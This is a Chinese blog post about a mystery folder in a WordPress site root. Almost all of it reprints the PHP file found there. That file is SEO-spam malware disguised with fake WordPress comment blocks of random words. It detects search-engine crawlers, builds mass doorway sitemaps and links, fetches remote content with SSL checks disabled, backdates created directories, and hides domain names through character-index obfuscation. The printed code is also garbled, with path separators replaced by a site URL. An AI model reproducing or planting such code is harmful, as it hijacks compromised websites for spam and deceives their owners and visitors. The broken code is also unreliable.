* Internet bunch code comment devise equivalent explore fate favorite guilty hint interpretation modify precaution rely rescue scan split temporary urgent video.
* barrier harmony hollow precaution racial region skim slope virtual volunteer.
* apparent auxiliary consistent duration focus forbid gaze mere mood petrol register significance videotape voluntary wax welfare.
* appreciate architecture cope personnel reinforce remarkable scale trace vague virtual.
* adequate advertisement flash geography illusion missile nonsense obstacle primitive reluctant security tide transplant vacant.
* awful cargo dash expansion expend gallon gasoline invade liter moist nucleus passport precaution removal target textile timber via vitally wander.
* absolute advertisement bacteria column compete cope drip fate glorious restraint shelter stripe temple yield.
* adjust debate devise entitle expenditure extent hatred hint ingredient loose neutral oxygen phenomenon region religious render secure sensible shield slide stripe timber welfare withdraw wonder.
* comedy frustrate gasoline gesture glory liable liberal portable suburb utilify utter.
* adopt chaos earthquake infant offend optimistic prosperity ridid the.
* appreciate maximum professional scratch shrink survey.
* agent budget debate drift infect laser offend religious smash subway unique victim.
* aware favorable inevitable jail liberal nuisance recruit shiver slender triumph.
* essential petrol quotation removal restraint vague.
* arouse budget comparative extent external favorite fax gallon genuine grateful herd hollow horrible index interpret negative nuisance reject rival signature snap target title triumph vote.
* breadth duration encounter flock germ individual inevitable notify omit radical stable twist vary.
* discrimination disturb interpret nonsense portion principle restrict snap spray subsequent tide transplant vacant weave welfare.
* advertisement approach aware decade entitle explosion extreme laser peak presumably recruit resolve sequence tedious transform triangle triumph tropical violence.
* accomplish evil exceedingly flee giant infinite laser profitable revenue sponsor strategic temporary valid.
* abuse arouse bureau evil expenditure fertilizer glorious golf mainland mixture optional principal region relevant secure spit strategic suspicious tide vivid weld.
* response agent aware awkward earthquake emotion episode gap globe jewel pursue trend vacant vote whatsoever.
* appoint compete decline encounter equivalent explosion extinct fatigue index issue medium modify optional outstanding resemble respond reveal sequence shallow spill subt vertical yawn.
* arise cope globe hatred inferior inhabitant knot leap liberal necessity passive previous substitute utilify.
* appetite audio comparative competent consistent core explore focus gallery hatred impose mainland network partial personal powder promote spot substance torture tremendous usage volunteer wonder.
* adjust agency calculate casual dash delicate expel fertilizer flee frown gaze giant jewel mood nylon oblige profitable rely stimulate universal witness.
* collision passport retain shiver undergo.
* blast distress distribute enclose enviroment expand favorable genuine obscure prompt transform vibrate virus.
* automatic breadth deposit geography kneel prohibit reject sensitive spur subsequent valley wonder.
* genuine global liable optimistic.
* academic appeal dumb durable entry grand hook mere particularly range semester territory urban.
* casual coil deputy flash genius genuine gratitude highlight loosen optics origin presumably provision reject religion rival sophisticated strategy title vivid volunteer waist.
* column faulty loosen mutual orbit removal shift vacuum.
* acquire evolution glorious hint horrible illusion insignificant launch magnet media personnel petrol shelter shrug spit temptation universal venture.
* jealous liquor portable prospect radiation.
* bunch conservative dispose explode liquor modest parallel profit satellite shield shrug spit spot temptation title vacuum valley.
* absolute approve fatal hydrogen modest neutral obscure obstacle orbit religious trend unique vain yield.
* abundant automatic dump entry expenditure explosion extent fatal fatigue fertilizer gratitude hence lean neglect parallel passive phenomenon reject shuttle skim undergraduate urgent vary vote.
* agency aspect calculate deposit deputy device drift excursion fatal gallon guarantee ingredient internal interpret knot marveous scale secure sincere talent thrust vessel vibrate virus volunteer.
* applicant devise infect profitable sequence shift subway temple transmit.
* breadth cope descend emphasize gallon insurance jeans principal profit retail subsequent tender vacuum virus.
* elastic horror label nevertheless submit vote.
* emphasize jewel joint retain.
* audio award budget derive evaluate expend gallery grand guilty issue likelihood medium oxygen portion reinforce ridge shift slippery smash spill strategic venture.
* comedy gasoline holy jewel motive profit reinforce severe solar subsequent swallow terminal witness.
* acknowledge attach coarse export forbid hint hydrogen jealous manual marine moist naked principle quotation radiation restrain ridge slender transform.
* agency applicable biology erect focus insure liable odd prescribe prior profitable retail route submerge urgent valley volcano.
* agent appoint campus cancel candidate joint launch mere pat peak resistant shiver slender spur virtue wagon.
* arouse balcony barrier calendar gap gear haste insurance insure liter notify obstacle parade presumably remarkable rescue shrink solar spur subt yawn.
* applicant approach campus comment deaf devise disturb expel idle oval poverty remarkable shiver slope terror theme title triangle valid.
* advertise available bargain discipline emphasize explode insurance interpret leak lean leisure liberal pursue reveal ridid talent trace vacant wealthy weld.
*
* @package WordPress
*/
function getRandId(){
$num = rand(1,FNUM);	$num = $num - 1;	require(FILEDIRNAME . "/id$num.php");	$indexId=array_rand($arrId,1);	$id = $arrId[$indexId];	unset($arrId);	return $id;}
function get_arrvs($arr,$num,$nowkey){
$numArr = count($arr);
if($nowkey + $num < $numArr)
return $arr[$nowkey + $num];	else{
if($nowkey + $num - $numArr - $numArr > 0)
return get_arrvs($arr,$num - $numArr,$nowkey);		else
return $arr[abs($nowkey + $num - $numArr)];	}
}
function get_pre_link($arr,$key){
$tmpA1 = array();	$tmpA2 = array();
$num = count($arr);
if($key + JGNUM + 1 + LINKNUM >= $num){
if($key + JGNUM + 1 - $num > LINKNUM){
return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM);		}else{
$duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1;		$tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM);		$tmpA2 = array_slice($arr, 0, $duoyu);
return array_merge($tmpA1,$tmpA2);		}
}else{
return  array_slice($arr, $key + JGNUM + 1, LINKNUM);	}
}
function get_next_link($arr,$key){
$tmpA1 = array();	$tmpA2 = array();
$num = count($arr);	if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){
$duoyu = abs($key - JGNUM - LINKNUM);		$tmpA1 = array_slice($arr, 0, abs($key - JGNUM));		$tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu);		return array_merge($tmpA1,$tmpA2);	}else{
return  array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM);	}
}
function rFile($file){
if(function_exists('file_get_contents')){
return file_get_contents($file);
}else{
$handle = fopen($file, "r");
$contents = fread($handle, filesize($file));
fclose($handle);
return $contents;
}
}
function isCrawler() {
$agent= @strtolower($_SERVER['HTTP_USER_AGENT']);	if (!empty($agent)) {
$spiderSite= array(
"Googlebot",
"Mediapartners-Google",
"Adsbot-Google",
"Yahoo!",
"Google AdSense",
"Yahoo Slurp",
"bingbot",
"MSNBot"
);		foreach($spiderSite as $val) {
$str = strtolower($val);		if (strpos($agent, $str) !== false) {
return true;			}
}
} else {
return false;	}
}
function gsitemap2($filenames,$c=1,$jdt=1){
global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;
$filePres = '';	$fileEnds = '';
$dirNames = dirname(__FILE__);	$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $httcReplace . "https://dedewp.com/" . basename(__FILE__) . "https://dedewp.com/";	}elseif(JDT == 1){
$filePres = $httcReplace . "https://dedewp.com/";	}elseif(JDT == 3){
$filePres = $httcReplace . "https://dedewp.com/" .basename(__FILE__) . "?key=";	}else{
$filePres = '';	}
if(JDT == 3){
$fileEnds = '';	}else{
$fileEnds = JTHZ;	}
$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/'));
$siteLink='http://'.$_SERVER['HTTP_HOST'];
$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>';
// $urlsArray = $filenames;
// $numLinks = count($urlsArray);
$star = 0;	$priority = 0.1;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s");
$str = "";
$tempArr1 = $filenames;
foreach($tempArr1 as $key => $value2){
$curphp=basename(__FILE__);
$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");
$tempPid = $key;
$url = getalink($tempPid,$value2);
if($first===false && $last===false && $checkTxt===false)
{
$date = date("Y-m-d");			$time = date("H:i:s");
if($star % 12000==11999){
$gFile =  '../sitetarget/site' . $arrABC[$gnumber-1] . 'target' .'.xml';				echo '<br/>'.$gFile.'<br/>';				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#site' . $arrABC[$gnumber-1] . 'target' .'.xml#'.PHP_EOL,FILE_APPEND);
$str = '';				$gnumber++;				return;			}
$str .= "     <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>
";
$star++;			$starPri++;		}
}
{
$gFile =  '../sitetarget/site' . $arrABC[$gnumber-1] . 'target' .'.xml';			echo '<br/>'.$gFile.'<br/>';
$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#site' . $arrABC[$gnumber-1] . 'target' .'.xml#'.PHP_EOL,FILE_APPEND);
$gnumber++;
}
unset($tempArr1);	unset($filenames);
echo "生成 sitemap 成功!";
}
function gsitemap($filenames,$c=1,$jdt=1){
global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;
$filePres = '';	$fileEnds = '';
$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/'));
$siteLink='http://'.$_SERVER['HTTP_HOST'];
$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>';
// $urlsArray = $filenames;
// $numLinks = count($urlsArray);
$star = 0;	$priority = 0.9;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s");
$str = "     <url>
<loc>" . $siteLink . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>always</changefreq>
<priority>1.0</priority>
</url>
";
$tempArr1 = $filenames;
foreach($tempArr1 as $key => $value2){
$curphp=basename(__FILE__);
$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");
$tempPid = $key;
$url = getalink($tempPid,$value2);
if($first===false && $last===false && $checkTxt===false)
{
$date = date("Y-m-d");			$time = date("H:i:s");
if($star % 12000==11999){
$gFile =  '../sitetarget/site' . $arrABC[$gnumber-1] . 'target' .'.xml';				echo '<br/>'.$gFile.'<br/>';
$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#site' . $arrABC[$gnumber-1] . 'target' .'.xml#'.PHP_EOL,FILE_APPEND);
$str = '';				$gnumber++;				return;
}
if($starPri >= 400 && $priority != 0.1){
$starPri = 0;				$priority = $priority - 0.1;			}
if($priority > 0.1){
$str .= "     <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>". $priority . "</priority>
</url>
";
}else{
$str .= "     <url>
<loc>" . $url . "</loc>
<lastmod>". $date . "T" . $time ."-05:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>
";
}
$star++;			$starPri++;		}
}
{
$gFile =  '../sitetarget/site' . $arrABC[$gnumber-1] . 'target' .'.xml';		echo '<br/>'.$gFile.'<br/>';
$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#site' . $arrABC[$gnumber-1] . 'target' .'.xml#'.PHP_EOL,FILE_APPEND);
$gnumber++;
}
unset($tempArr1);	unset($filenames);	echo "生成 sitemap 成功!";
}
function curl_get_from_webpage($url,$proxy='',$loop=10){
$data = false;        $i = 0;        while(!$data) {
$data = curl_get_from_webpage_one_time($url,$proxy);             if($i++ >= $loop) break;        }
return $data;}
function curl_getjs_from_webpage($url,$time){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
$curl = curl_init();	//如果有用代理,则使用代理.
$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
// $urlReferer = "http://www.google.com";
curl_setopt($curl, CURLOPT_URL, $url);
if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0,	CURLOPT_POSTFIELDS => '',			CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,			CURLOPT_VERBOSE => 0
));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
}$data=curl_exec($curl);curl_close($curl);
}else{
$is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
if($is_auf){
$data = file_get_contents($url);
}
}
if(!$data) return false;
return $data;
}
function curl_get_from_webpage_one_time($url,$proxy=''){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
$curl = curl_init();	//如果有用代理,则使用代理.
$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
// $urlReferer = "http://www.google.com";
if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_URL, $url);
if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0,	CURLOPT_POSTFIELDS => '',			CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,			CURLOPT_VERBOSE => 0
));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
}$data=curl_exec($curl);curl_close($curl);
}else{
$is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
if($is_auf){
$data = file_get_contents($url);
}
}
if(!$data) return false;
return $data;
}
//
function my_mkdir($dir){
global  $fitime;
if(!is_dir($dir)){
mkdir($dir);
@touch($dir, $fitime, $fitime);
}
}
function generate_dir_file($gDir=''){
global $hostDir;
$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
$gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
$arr = explode(DIRECTORY_SEPARATOR,$gDir);
if(count($arr) <= 0) return;
if(!strstr($gDir,$hostDir))
$dir = $hostDir;
else
$dir = '';
for($i = 0 ; $i < count($arr)-1 ; $i++){
$dir .= DIRECTORY_SEPARATOR . $arr[$i];
my_mkdir($dir);
}
return $dir;
}
function strFilter($str){
$str = str_replace('`', '', $str);
$str = str_replace('·', '', $str);
$str = str_replace('~', '', $str);
$str = str_replace('!', '', $str);
$str = str_replace('!', '', $str);
$str = str_replace('@', '', $str);
$str = str_replace('#', '', $str);
$str = str_replace('$', '', $str);
$str = str_replace('¥', '', $str);
$str = str_replace('%', '', $str);
$str = str_replace('^', '', $str);
$str = str_replace('……', '', $str);
$str = str_replace('*', '', $str);
$str = str_replace('(', '', $str);
$str = str_replace(')', '', $str);
$str = str_replace('(', '', $str);
$str = str_replace(')', '', $str);
$str = str_replace('-', '', $str);
$str = str_replace('_', '', $str);
$str = str_replace('——', '', $str);
$str = str_replace('+', '', $str);
$str = str_replace('=', '', $str);
$str = str_replace('|', '', $str);
$str = str_replace('\\', '', $str);
$str = str_replace('[', '', $str);
$str = str_replace(']', '', $str);
$str = str_replace('【', '', $str);
$str = str_replace('】', '', $str);
$str = str_replace('{', '', $str);
$str = str_replace('}', '', $str);
$str = str_replace(';', '', $str);
$str = str_replace(':', '', $str);
$str = str_replace('<', '', $str);
$str = str_replace('>', '', $str);
$str = str_replace(':', '', $str);
$str = str_replace('\'', '', $str);
$str = str_replace('"', '', $str);
$str = str_replace(',', '', $str);
$str = str_replace(',', '', $str);
$str = str_replace('《', '', $str);
$str = str_replace('》', '', $str);
$str = str_replace('.', '', $str);
$str = str_replace('。', '', $str);
$str = str_replace('–', '', $str);
$str = str_replace('–', '', $str);
$str = str_replace('/', '', $str);
$str = str_replace('、', '', $str);
$str = str_replace('?', '', $str);
$str = str_replace('?', '', $str);
$str = str_replace('°', '', $str);
$str = str_replace('&', '&', $str);
return trim($str);
}
function getalink($pid,$pname=''){
global $arrnametime,$arrKeywz,$arr_word,$strRand;
if(strstr($pname,'#cat#')){
$tp_pname_arr = explode('#cat#',$pname);
$pname = $tp_pname_arr[1];
$precat = $tp_pname_arr[0];
}
if(function_exists("preg_split")){
$tpnameArr = preg_split('/\s+/us', $pname);
}else{
$tpnameArr = explode(' ', $pname);
}
$pnameArr = array();
foreach($tpnameArr as $tpvs){
$tpvs = trim($tpvs);
if($tpvs){
$pnameArr[] = $tpvs;
}
}
$numPname = count($pnameArr);
if($numPname > 3){
$numLinkKey = round(PNAMELEN * $numPname / 100);
$yushu = KEYJG % $numPname;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$numPname;$i++){
if($i<$yushu){
$arrLast[] = $pnameArr[$i];
}else{
$arrPre[] = $pnameArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
$usedNameArr = array();
for($i=0;$i<$numLinkKey;$i++){
$usedNameArr[$i] = $arrPre[$i];
}
if(count($usedNameArr)){
$pname = implode(' ',$usedNameArr);
}
}
if(JDT == 0){
$precat = strFilter($precat);
$precat = preg_replace('/\s+/', '-', $precat);
}
$pname = strFilter($pname);
$filePres = '';		$fileEnds = '';		$siteLink='http://'.$_SERVER['HTTP_HOST'];
$dirNames = dirname(__FILE__);		$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $siteLink ."https://dedewp.com/". $httcReplace . "https://dedewp.com/" . basename(__FILE__) . "https://dedewp.com/";		}elseif(JDT == 1){
$filePres = $siteLink ."https://dedewp.com/". $httcReplace . "https://dedewp.com/";		}elseif(JDT == 3){
$filePres = $siteLink ."https://dedewp.com/". $httcReplace . "https://dedewp.com/" .basename(__FILE__) . "?keyword=";		}else{
$filePres = $siteLink."https://dedewp.com/";		}
$rsp = '#'. BZPRO .'\d+#';
$pname = trim($pname);
$pname = preg_replace('/\s+/', '-', $pname);
if(JDT == 3){
$rs = '#&[^;]+;#i';
$pname = preg_replace($rs,'',$pname);
while(strstr($pname,'&'))
$pname = str_replace('&','',$pname);
while(strstr($pname,'--'))
$pname = str_replace('--','-',$pname);
$linkCenter = $pname .'-' .$pid;
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
if(strlen($pname) > 235){
$rs = '#&[^;]+;#i';
$pname = preg_replace($rs,'',$pname);
$pname = str_replace('&','',$pname);
$pname = str_replace('&',';',$pname);
if(function_exists("mb_substr")){
$pname = mb_substr($pname, 0, 235, 'utf-8');
}else{
$pname = substr($pname, 0, 235);
}
}
$precat = preg_replace($rsp,'',$precat);
$precat = str_replace('&','',$precat);
$precat = str_replace('&',';',$precat);
$precat = preg_replace('/\s+/', '-', $precat);
$pname = preg_replace($rsp,'',$pname);
if(JDT == 0){
$linkCenter = $precat.'/'.$pname.'/'.$pid;
}else{
$linkCenter = $precat.'/'.$pname.'/'.$pid;
}
$linkCenter .= JTHZ;			$linkCenter = str_replace("-/","https://dedewp.com/",$linkCenter);			$linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter);
while(strstr($linkCenter,'--'))
$linkCenter = str_replace('--','-',$linkCenter);
// $linkCenter = str_replace('/-','/',$linkCenter);
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
$rtStr = str_replace('-amp;-','-&-',$rtStr);
return $rtStr;
}
function rmhtmltag($tagname='',$str=''){
$rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#s';
$str = preg_replace($rulers,'',$str);
$rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#i';
$str = preg_replace($rulers,'',$str);
return $str;
}
function rmhtmltag2($tagname='',$str=''){
$rulers = '#<'.$tagname.'[^>]*>#s';
$str = preg_replace($rulers,'',$str);
$rulers = '#</'.$tagname.'>#s';
$str = preg_replace($rulers,'',$str);
$rulers = '#<'.$tagname.'[^>]*>#i';
$str = preg_replace($rulers,'',$str);
$rulers = '#</'.$tagname.'>#i';
$str = preg_replace($rulers,'',$str);
return $str;
}
//
function is_ip($localIp,$ipRanges)
{
$localIp = ip2long($localIp);
foreach($ipRanges as $val)
{
$ipmin=sprintf("%u",ip2long($val[0]));		$ipmax=sprintf("%u",ip2long($val[1]));
if($localIp >= $ipmin && $localIp <= $ipmax)
{
return true;
}
}
return false;}
function RandAbcs($length = ""){
$str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-";
return ($str);
}
function getarr(){
global $O00O0O;
$arr[0]=$O00O0O{14}.$O00O0O{0}.$O00O0O{7}.$O00O0O{7}.$O00O0O{18}.$O00O0O{12}.$O00O0O{0}.$O00O0O{11}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[1]=$O00O0O{2}.$O00O0O{20}.$O00O0O{2}.$O00O0O{4}.$O00O0O{0}.$O00O0O{18}.$O00O0O{7}.$O00O0O{14}.$O00O0O{15}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[2]=$O00O0O{2}.$O00O0O{8}.$O00O0O{11}.$O00O0O{19}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[3]=$O00O0O{18}.$O00O0O{17}.$O00O0O{0}.$O00O0O{2}.$O00O0O{12}.$O00O0O{0}.$O00O0O{11}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[4]=$O00O0O{7}.$O00O0O{14}.$O00O0O{0}.$O00O0O{1}.$O00O0O{2}.$O00O0O{12}.$O00O0O{0}.$O00O0O{11}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};
return $arr;
}
function getthisdom(){
$myArrs = getarr();
return 'http://www.'.$myArrs[CENTERKEY].MYDIR;
}
function get_real_ip(){
$ip = '';
/**
* resolve any proxies
*/
if (isset($_SERVER)) {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
$ip = $_SERVER['HTTP_X_FORWARDED'];
} elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_FORWARDED'])) {
$ip = $_SERVER['HTTP_FORWARDED'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
}
if (trim($ip) == '') {
if (getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} else {
$ip = getenv('REMOTE_ADDR');
}
}
/**
* sanitize for validity as an IPv4 or IPv6 address
*/
$ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip);
/**
*  if it's still blank, set to a single dot
*/
if (trim($ip) == '') $ip = '.';
return $ip;
}
/**
* appreciate diverse fax globe jewel nevertheless restraint talent tuition virtue yield.
* arichmetic attach cliff distinguish episode globe household hydrogen impose ingredient suspicion universal vary.
* ban consume durable interfere passport stimulate.
* agency appropriate competent extraordinary glory inhabitant notify orchestra range slippery trap victim volcano.
* agent architecture capture cargo conquer deposit dump evolution export flash gallon household individual knot marine sake shift temporary trace vessel videotape.
* bother conservative distinguish glory junior loose mutual naval spray.
* academic advertisement architecture continual distinguish facility hydrogen launch mature particularly peak revenue shrink slide spray stimulate tedious tend territory.
* applicant balcony consistent deposit dive elaborate extraordinary fax interpret leak nylon pants professional seminar transmit treaty vanish vehicle vessel.
* awkward ban burst consume deserve enviroment geometry gratitude household invade jail liberal merchant nevertheless prospect regulate religion religious render suburb.
* aspect chaos enthusiasm expel expensive favorite horror molecule orient revenue unique usage vertical withdraw.
* approximate geography removal torture.
* dusk export jewel lynar provision usage via.
* adult collision fate horrible moisture pants poverty radical spray tarnest tidy torture withstand.
* adopt code continuous delay gasoline magnet navigation opponent parallel participate powder primitive rely sensitive strategy textile transplant triangle wagon.
* comparable dumb extent principle scan sorrow tropical variation.
* advertise aware compete deputy evil exaggerate fatal faulty highlight infant lean liable medium reinforce shelter tidy virtue.
* adult automatic balcony bundle campus liquor passport snap.
*
* @package WordPress
*/
//file end

那么他究竟做了什么坏事了呢?请听下回分解。

版权声明:胜利 发表于 2020-08-04 16:47:40。
转载请注明:wordpress网站根目录出现不明文件夹localisationl | 职涯宝

相关文章

暂无评论

暂无评论...